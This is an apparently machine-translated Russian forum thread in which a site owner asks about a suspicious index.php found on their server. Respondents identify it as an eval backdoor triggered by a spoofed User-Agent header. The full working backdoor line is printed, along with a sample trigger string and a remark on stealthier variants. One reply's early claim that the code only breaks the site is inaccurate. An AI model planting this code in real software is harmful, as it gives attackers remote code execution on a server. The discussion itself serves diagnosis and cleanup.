Сегодня я ищу вашу помощь, чтобы получить справку о файле, который я нашел на своем FTP сегодня утром. Я не профессионал во всех этих функциях PHP, поэтому я публикую его здесь.
Я нашел файл с именем index.php в папке вложенных изображений.
Есть необработанный код:
<?php
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
?>
Две функции PHP
Для функции Eval () они говорят, что это очень опасно.
предосторожность Языковая конструкция eval () очень опасна, поскольку она позволяет выполнять произвольный код PHP. Таким образом, его использование не рекомендуется.
Если вы тщательно проверили, что нет другого выбора, кроме как
используйте эту конструкцию, обратите особое внимание, чтобы не пропустить ни одного пользователя
предоставил данные в него без надлежащей проверки их заранее.
Вот почему я думаю, что кто-то может попытаться взломать мой сайт или даже больше.
Кто-нибудь имеет возможность расшифровать это и объяснить мне?
Спасибо,
Начнем с самого начала.
eregi
является устаревшей функцией, начиная с PHP 5.3.0.eregi
является регистронезависимым регулярным выражением.if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {
Если final
находится в HTTP_USER_AGENT
, затем….
Замените «Mozilla / 5.0 (3.1.final)» на [пусто] в HTTP_USER_AGENT
, И убей сценарий.
Это неэффективно с точки зрения изменения данных на вашем сайте, но сделает ваш сайт «мертвым» для всех, у кого есть слово final
в их пользовательский агент — которая, я думаю, будет финальной версией каждого основного браузера; хотя я не могу найти источник по этому вопросу.
eval
меня удивило Поскольку очевидно, что ты не положил это здесь, eval
оценит код и выполнит его — что касается атаки. Единственный способ получить удаленный код для выполнения на вашем сайте — «подделать» своего пользовательского агента, убедившись, что у него есть фраза Mozilla/5.0 (3.1.final)
там следует весь код, который они хотят выполнить. Например;
Я подменю свой пользовательский агент, чтобы стать
Mozilla/5.0 (3.1.final) echo 'Lol, you got hacked'
Из-за str_replace
, экран будет просто отображать слова Lol, you got hacked
так как eval
выполнит echo
, Конечно, злоумышленник поставит гораздо вреднее команды для оценки. Удалить этот код немедленно
Да, это простой eval backdoor, установленный так, чтобы кто-то мог вернуться в любое время позже и использовать ваш сервер для всего, что он хочет.
Он принимает строку агента пользователя, начинающуюся с Mozilla/5.0 (3.1.final)
(которая не является реальной строкой пользовательского агента) и обрабатывает оставшуюся часть строки как код PHP, который выполняется через eval
вызов.
(Странная часть заключается в том, что для этого они использовали пользовательский агент, поскольку это поле регулярно регистрируется в стандартных веб-журналах. Использование поля POST или файла cookie было бы гораздо более скрытным.)